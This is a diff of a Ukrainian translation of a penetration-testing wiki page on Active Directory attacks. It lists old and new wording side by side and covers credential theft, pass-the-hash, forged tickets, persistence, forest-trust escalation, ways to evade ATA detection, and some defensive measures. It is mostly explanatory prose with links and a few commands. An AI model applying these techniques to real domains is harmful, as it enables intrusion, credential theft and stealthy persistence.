[**Слідуйте за цим посиланням, щоб дізнатися про інструменти, які ви можете використовувати.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Вкрасти NTLM креденціали
Якщо ви можете **доступитися до інших ПК або загальних папок**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось відкриють, **спровокують NTML аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM виклик** для його зламу:
Якщо ви можете **доступитися до інших ПК або спільних ресурсів**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось відкриють, **запустять NTML аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM challenge** для його зламу:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -235,8 +235,8 @@ printnightmare.md
### Витягування хешів
Сподіваюся, вам вдалося **компрометувати деякий локальний адміністратор** обліковий запис, використовуючи [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) включаючи реле, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [підвищення привілеїв локально](../windows-local-privilege-escalation/index.html).\
Тоді настав час вивантажити всі хеші в пам'яті та локально.\
Сподіваюся, вам вдалося **компрометувати деякий локальний обліковий запис адміністратора**, використовуючи [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) включаючи реле, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [підвищення привілеїв локально](../windows-local-privilege-escalation/index.html).\
Тепер час вивантажити всі хеші в пам'яті та локально.\
[**Прочитайте цю сторінку про різні способи отримання хешів.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Pass the Hash
@ -274,7 +274,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### Зловживання MSSQL та Довірені Посилання
Якщо користувач має привілеї для **доступу до екземплярів MSSQL**, він може використовувати це для **виконання команд** на хості MSSQL (якщо працює як SA), **викрадення** хешу NetNTLM або навіть виконання **атаки** **ретрансляції**.\
Якщо користувач має привілеї для **доступу до екземплярів MSSQL**, він може використовувати це для **виконання команд** на хості MSSQL (якщо працює як SA), **викрадення** хешу NetNTLM або навіть виконання **атаки** **реле**.\
Також, якщо екземпляр MSSQL є довіреним (посилання на базу даних) іншим екземпляром MSSQL. Якщо користувач має привілеї над довіреною базою даних, він зможе **використовувати довірчі відносини для виконання запитів також в іншому екземплярі**. Ці довіри можуть бути з'єднані, і в якийсь момент користувач може знайти неправильно налаштовану базу даних, де він може виконувати команди.\
**Зв'язки між базами даних працюють навіть через довіри лісу.**
@ -303,7 +303,7 @@ constrained-delegation.md
### Делегація на основі ресурсів
Маючи привілей **WRITE** на об'єкт Active Directory віддаленого комп'ютера, можна отримати виконання коду з **підвищеними привілеями**:
Маючи привілей **WRITE** на об'єкті Active Directory віддаленого комп'ютера, ви отримуєте можливість виконання коду з **підвищеними привілеями**:
{{#ref}}
resource-based-constrained-delegation.md
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
### Зловживання ACL
Скомпрометований користувач може мати деякі **цікаві привілеї над деякими об'єктами домену**, які можуть дозволити вам **переміщатися** латерально/**підвищувати** привілеї.
Скомпрометований користувач може мати деякі **цікаві привілеї над деякими об'єктами домену**, які можуть дозволити вам **переміщатися** латерально/**ескалювати** привілеї.
{{#ref}}
acl-persistence-abuse/
@ -319,7 +319,7 @@ acl-persistence-abuse/
### Зловживання службою спулера принтерів
Виявлення **служби спулера**, що слухає в домені, може бути **зловжито** для **отримання нових облікових даних** та **підвищення привілеїв**.
Виявлення **служби спулера**, що слухає в домені, може бути **зловжито** для **отримання нових облікових даних** та **ескалації привілеїв**.
{{#ref}}
printers-spooler-service-abuse.md
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### Зловживання сесіями третіх сторін
Якщо **інші користувачі** **доступають** до **скомпрометованої** машини, можливо **збирати облікові дані з пам'яті** і навіть **впроваджувати маяки в їхні процеси** для видавання себе за них.\
Якщо **інші користувачі** **доступають** до **скомпрометованої** машини, можливо **збирати облікові дані з пам'яті** і навіть **впроваджувати маяки в їхні процеси** для видачі себе за них.\
Зазвичай користувачі отримують доступ до системи через RDP, тому ось як виконати кілька атак на сесії RDP третіх сторін:
{{#ref}}
@ -344,7 +344,7 @@ laps.md
### Крадіжка Сертифікатів
**Збір сертифікатів** з скомпрометованої машини може бути способом підвищення привілеїв у середовищі:
**Збір сертифікатів** з скомпрометованої машини може бути способом ескалації привілеїв у середовищі:
{{#ref}}
ad-certificates/certificate-theft.md
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
### Зловживання Шаблонами Сертифікатів
Якщо **вразливі шаблони** налаштовані, їх можна зловживати для підвищення привілеїв:
Якщо **вразливі шаблони** налаштовані, їх можна зловживати для ескалації привілеїв:
{{#ref}}
ad-certificates/domain-escalation.md
@ -368,7 +368,7 @@ ad-certificates/domain-escalation.md
[**Більше інформації про те, як вкрасти NTDS.dit можна знайти тут**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Privesc як Постійність
### Привілеї як Постійність
Деякі з технік, обговорених раніше, можуть бути використані для постійності.\
Наприклад, ви могли б:
@ -411,7 +411,7 @@ golden-ticket.md
### Діамантовий Квиток
Це схоже на золоті квитки, підроблені таким чином, що **обходять звичайні механізми виявлення золотих квитків.**
Ці квитки схожі на золоті, але підроблені так, що **обходять звичайні механізми виявлення золотих квитків.**
{{#ref}}
diamond-ticket.md
@ -419,15 +419,15 @@ diamond-ticket.md
### **Постійність Облікових Записів Сертифікатів**
**Маючи сертифікати облікового запису або можливість їх запитувати** - це дуже хороший спосіб зберегти постійність в обліковому записі користувача (навіть якщо він змінює пароль):
**Маючи сертифікати облікового запису або можливість їх запитувати** є дуже хорошим способом зберегти постійність в обліковому записі користувача (навіть якщо він змінює пароль):
{{#ref}}
ad-certificates/account-persistence.md
{{#endref}}
### **Постійність Сертифікатів в Домені**
### **Постійність Сертифікатів у Домені**
**Використання сертифікатів також можливе для постійності з високими привілеями в домені:**
**Використання сертифікатів також можливе для підтримки високих привілеїв у домені:**
{{#ref}}
ad-certificates/domain-persistence.md
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
### Група AdminSDHolder
Об'єкт **AdminSDHolder** в Active Directory забезпечує безпеку **привілейованих груп** (таких як Domain Admins та Enterprise Admins), застосовуючи стандартний **Список Контролю Доступу (ACL)** до цих груп, щоб запобігти несанкціонованим змінам. Однак цю функцію можна експлуатувати; якщо зловмисник змінює ACL AdminSDHolder, щоб надати повний доступ звичайному користувачу, цей користувач отримує значний контроль над усіма привілейованими групами. Ця міра безпеки, призначена для захисту, може таким чином обернутися проти, дозволяючи неналежний доступ, якщо не контролювати її.
Об'єкт **AdminSDHolder** в Active Directory забезпечує безпеку **привілейованих груп** (таких як Domain Admins та Enterprise Admins), застосовуючи стандартний **Список Контролю Доступу (ACL)** до цих груп, щоб запобігти несанкціонованим змінам. Однак цю функцію можна експлуатувати; якщо зловмисник змінює ACL AdminSDHolder, щоб надати повний доступ звичайному користувачу, цей користувач отримує значний контроль над усіма привілейованими групами. Ця міра безпеки, призначена для захисту, може таким чином обернутися проти, дозволяючи неналежний доступ, якщо не контролювати уважно.
[**Більше інформації про групу AdminDSHolder тут.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@ -449,7 +449,7 @@ dsrm-credentials.md
### Постійність ACL
Ви можете **надати** деякі **спеціальні дозволи** **користувачу** над деякими конкретними об'єктами домену, які дозволять користувачу **підвищити привілеї в майбутньому**.
Ви могли б **надати** деякі **спеціальні дозволи** **користувачу** над деякими конкретними об'єктами домену, які дозволять користувачу **ескалювати привілеї в майбутньому**.
{{#ref}}
acl-persistence-abuse/
@ -473,7 +473,7 @@ skeleton-key.md
### Користувацький SSP
[Дізнайтеся, що таке SSP (Security Support Provider) тут.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
[Дізнайтеся, що таке SSP (Постачальник Підтримки Безпеки) тут.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Ви можете створити свій **власний SSP**, щоб **захоплювати** в **чистому вигляді** **облікові дані**, які використовуються для доступу до машини.
{{#ref}}
@ -491,26 +491,26 @@ dcshadow.md
### Постійність LAPS
Раніше ми обговорювали, як підвищити привілеї, якщо у вас є **достатні права для читання паролів LAPS**. Однак ці паролі також можуть бути використані для **збереження постійності**.\
Раніше ми обговорювали, як ескалювати привілеї, якщо у вас є **достатні права для читання паролів LAPS**. Однак ці паролі також можуть бути використані для **підтримки постійності**.\
Перевірте:
{{#ref}}
laps.md
{{#endref}}
## Підвищення Привілеїв Лісу - Доменні Довіри
## Ескалація Привілеїв Лісу - Доменні Довіри
Microsoft розглядає **Ліс** як межу безпеки. Це означає, що **скомпрометування одного домену може потенційно призвести до компрометації всього Лісу**.
### Основна Інформація
[**Доменна довіра**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) - це механізм безпеки, який дозволяє користувачу з одного **домену** отримувати доступ до ресурсів в іншому **домені**. Це фактично створює зв'язок між системами аутентифікації двох доменів, що дозволяє безперешкодно проходити перевірки аутентифікації. Коли домени встановлюють довіру, вони обмінюються та зберігають певні **ключі** в своїх **Контролерах Домену (DC)**, які є критично важливими для цілісності довіри.
[**Доменна довіра**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) є механізмом безпеки, який дозволяє користувачу з одного **домену** отримувати доступ до ресурсів в іншому **домені**. Це фактично створює зв'язок між системами аутентифікації двох доменів, дозволяючи безперешкодний потік перевірок аутентифікації. Коли домени встановлюють довіру, вони обмінюються та зберігають специфічні **ключі** в своїх **Контролерах Домену (DC)**, які є критично важливими для цілісності довіри.
У типовій ситуації, якщо користувач має намір отримати доступ до служби в **довіреному домені**, він спочатку повинен запитати спеціальний квиток, відомий як **квиток TGT між царствами**, у DC свого власного домену. Цей TGT шифрується спільним **ключем**, на якому обидва домени погодилися. Користувач потім представляє цей TGT **DC довіреного домену**, щоб отримати квиток на службу (**TGS**). Після успішної перевірки TGT між царствами DC довіреного домену видає TGS, надаючи користувачу доступ до служби.
У типовій ситуації, якщо користувач має намір отримати доступ до служби в **довіреному домені**, спочатку він повинен запитати спеціальний квиток, відомий як **квиток TGT між царствами**, у DC свого власного домену. Цей TGT шифрується спільним **ключем**, на якому обидва домени погодилися. Користувач потім представляє цей TGT **DC довіреного домену**, щоб отримати квиток на службу (**TGS**). Після успішної перевірки TGT між царствами DC довіреного домену видає TGS, надаючи користувачу доступ до служби.
**Кроки**:
1. **Клієнтський комп'ютер** в **Домені 1** починає процес, використовуючи свій **NTLM хеш** для запиту **Квитка на Надання Квитка (TGT)** у свого **Контролера Домену (DC1)**.
1. **Клієнтський комп'ютер** в **Домені 1** починає процес, використовуючи свій **NTLM хеш** для запиту **Квитка на Надання Квитків (TGT)** у свого **Контролера Домену (DC1)**.
2. DC1 видає новий TGT, якщо клієнт успішно аутентифікований.
3. Клієнт потім запитує **квиток TGT між царствами** у DC1, який потрібен для доступу до ресурсів у **Домені 2**.
4. Квиток TGT між царствами шифрується за допомогою **ключа довіри**, спільного між DC1 та DC2 в рамках двосторонньої довіри домену.
@ -526,16 +526,16 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз
**Різні довірчі відносини**
- **Довіри Батька-Дитини**: Це звичайна налаштування в межах одного лісу, де дитячий домен автоматично має двосторонню транзитивну довіру з доменом батька. Це означає, що запити на аутентифікацію можуть безперешкодно проходити між батьком і дитиною.
- **Довіри Батьків-Дітей**: Це звичайна налаштування в межах одного лісу, де дитячий домен автоматично має двосторонню транзитивну довіру з батьківським доменом. Це означає, що запити на аутентифікацію можуть безперешкодно проходити між батьком і дитиною.
- **Перехресні Довіри**: Відомі як "скорочені довіри", вони встановлюються між дитячими доменами для прискорення процесів посилання. У складних лісах запити на аутентифікацію зазвичай повинні подорожувати до кореня лісу, а потім вниз до цільового домену. Створюючи перехресні зв'язки, подорож скорочується, що особливо корисно в географічно розподілених середовищах.
- **Зовнішні Довіри**: Вони встановлюються між різними, несвязаними доменами і за своєю природою є нетранзитивними. Згідно з [документацією Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), зовнішні довіри корисні для доступу до ресурсів у домені поза поточним лісом, який не підключений через довіру лісу. Безпека посилюється через фільтрацію SID з зовнішніми довірами.
- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим коренем дерева. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових доменних дерев до лісу, дозволяючи їм зберігати унікальну назву домену та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим коренем дерева. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових доменних дерев до лісу, дозволяючи їм зберігати унікальну доменну назву та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Довіри Лісу**: Цей тип довіри є двосторонньою транзитивною довірою між двома кореневими доменами лісу, також забезпечуючи фільтрацію SID для підвищення заходів безпеки.
- **Довіри MIT**: Ці довіри встановлюються з не-Windows, [RFC4120-сумісними](https://tools.ietf.org/html/rfc4120) доменами Kerberos. Довіри MIT є дещо більш спеціалізованими і призначені для середовищ, які потребують інтеграції з системами на основі Kerberos поза екосистемою Windows.
#### Інші відмінності в **довірчих відносинах**
- Довірчі відносини також можуть бути **транзитивними** (A довіряє B, B довіряє C, тоді A довіряє C) або **нетранзитивними**.
- Довірчі відносини можуть також бути **транзитивними** (A довіряє B, B довіряє C, тоді A довіряє C) або **нетранзитивними**.
- Довірчі відносини можуть бути налаштовані як **двостороння довіра** (обидва довіряють один одному) або як **одностороння довіра** (лише один з них довіряє іншому).
### Шлях Атаки
@ -549,9 +549,9 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз
- **Членство в Локальних Групах**: Суб'єкти можуть бути додані до локальних груп на машинах, таких як група "Адміністратори" на сервері, що надає їм значний контроль над цією машиною.
- **Членство в Групах Зовнішнього Домену**: Суб'єкти також можуть бути членами груп у зовнішньому домені. Однак ефективність цього методу залежить від природи довіри та обсягу групи.
- **Списки Контролю Доступу (ACL)**: Суб'єкти можуть бути вказані в **ACL**, особливо як сутності в **ACE** в рамках **DACL**, надаючи їм доступ до конкретних ресурсів. Для тих, хто хоче глибше зануритися в механіку ACL, DACL та ACE, документ під назвою “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” є безцінним ресурсом.
- **Списки Контролю Доступу (ACL)**: Суб'єкти можуть бути вказані в **ACL**, особливо як сутності в **ACE** в рамках **DACL**, надаючи їм доступ до специфічних ресурсів. Для тих, хто хоче глибше зануритися в механіку ACL, DACL та ACE, документ під назвою “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” є безцінним ресурсом.
### Підвищення Привілеїв Лісу від Дитини до Батька
### Ескалація Привілеїв Лісу від Дитини до Батька
```
Get-DomainTrust
@ -588,13 +588,13 @@ sid-history-injection.md
Контейнер Sites Configuration NC містить інформацію про всі сайти комп'ютерів, приєднаних до домену, у лісі AD. Працюючи з привілеями SYSTEM на будь-якому DC, зловмисники можуть прив'язувати GPO до кореневих сайтів DC. Ця дія потенційно компрометує кореневий домен, маніпулюючи політиками, що застосовуються до цих сайтів.
Для детальної інформації можна дослідити дослідження про [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
Для детальної інформації можна дослідити матеріали про [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
**Компрометація будь-якого gMSA у лісі**
Вектор атаки передбачає націлювання на привілейовані gMSA в домені. Ключ KDS Root, необхідний для обчислення паролів gMSA, зберігається в Configuration NC. Маючи привілеї SYSTEM на будь-якому DC, можна отримати доступ до ключа KDS Root і обчислити паролі для будь-якого gMSA в лісі.
Детальний аналіз можна знайти в обговоренні про [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
Детальний аналіз можна знайти в обговоренні [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
**Атака на зміну схеми**
@ -604,7 +604,7 @@ sid-history-injection.md
**Від DA до EA з ADCS ESC5**
Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI), щоб створити шаблон сертифіката, який дозволяє аутентифікацію як будь-який користувач у лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5.
Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI), щоб створити шаблон сертифіката, який дозволяє автентифікацію як будь-який користувач у лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5.
Більше деталей про це можна прочитати в [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). У сценаріях, де немає ADCS, зловмисник має можливість налаштувати необхідні компоненти, як обговорюється в [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
У цьому сценарії **ваш домен довіряє** зовнішньому, що надає вам **невизначені дозволи** над ним. Вам потрібно з'ясувати, **які принципи вашого домену мають який доступ до зовнішнього домену** і потім спробувати це експлуатувати:
У цьому сценарії **ваш домен довіряється** зовнішньому, що надає вам **невизначені дозволи** над ним. Вам потрібно буде з'ясувати, **які принципи вашого домену мають який доступ до зовнішнього домену** і потім спробувати це експлуатувати:
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -639,16 +639,16 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
У цьому сценарії **ваш домен** **довіряє** деяким **привілеям** принципу з **інших доменів**.
Однак, коли **домен довіряє** довіреному домену, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **довірений пароль**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного** для його перерахунку та спроби підвищити привілеї:
Однак, коли **домен довіряється** довіреним доменом, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **пароль довіреного пароля**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного** для його перерахунку та спроби підвищити більше привілеїв:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
Ще один спосіб скомпрометувати довірений домен - це знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **протилежному напрямку** довіри домену (що не є дуже поширеним).
Ще один спосіб скомпрометувати довірений домен - це знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **протилежному напрямку** довіреності домену (що не є дуже поширеним).
Ще один спосіб скомпрометувати довірений домен - це чекати на машині, де **користувач з довіреного домену може отримати доступ** для входу через **RDP**. Тоді зловмисник може ввести код у процес сесії RDP і **отримати доступ до початкового домену жертви** звідти.\
Більше того, якщо **жертва підключила свій жорсткий диск**, з процесу сесії **RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.**
Більше того, якщо **жертва змонтувала свій жорсткий диск**, з процесу **сесії RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.**
{{#ref}}
rdp-sessions-abuse.md
@ -671,7 +671,7 @@ rdp-sessions-abuse.md
## AD -> Azure & Azure -> AD
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
## Деякі загальні заходи захисту
@ -686,7 +686,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
### **Впровадження технік обману**
- Впровадження обману передбачає встановлення пасток, таких як приманкові користувачі або комп'ютери, з такими функціями, як паролі, які не закінчуються або позначені як довірені для делегування. Детальний підхід включає створення користувачів з конкретними правами або додавання їх до груп з високими привілеями.
- Впровадження обману передбачає встановлення пасток, таких як приманкові користувачі або комп'ютери, з такими функціями, як паролі, які не закінчуються або позначені як Довірені для делегування. Детальний підхід включає створення користувачів з певними правами або додавання їх до груп з високими привілеями.
- Практичний приклад включає використання інструментів, таких як: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Більше про впровадження технік обману можна знайти на [Deploy-Deception на GitHub](https://github.com/samratashok/Deploy-Deception).
@ -700,7 +700,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
- **Обхід виявлення Microsoft ATA**:
- **Перерахування користувачів**: Уникнення перерахування сесій на контролерах домену, щоб запобігти виявленню ATA.
- **Імітація квитків**: Використання **aes** ключів для створення квитків допомагає уникнути виявлення, не знижуючи до NTLM.
- **Атаки DCSync**: Рекомендується виконувати з не контролера домену, щоб уникнути виявлення ATA, оскільки безпосереднє виконання з контролера домену викличе сповіщення.
- **Атаки DCSync**: Рекомендується виконувати з не-контролера домену, щоб уникнути виявлення ATA, оскільки безпосереднє виконання з контролера домену викличе сповіщення.
## Посилання

View File

@ -10,8 +10,8 @@
- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud)
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
{{#include ../../banners/hacktricks-training.md}}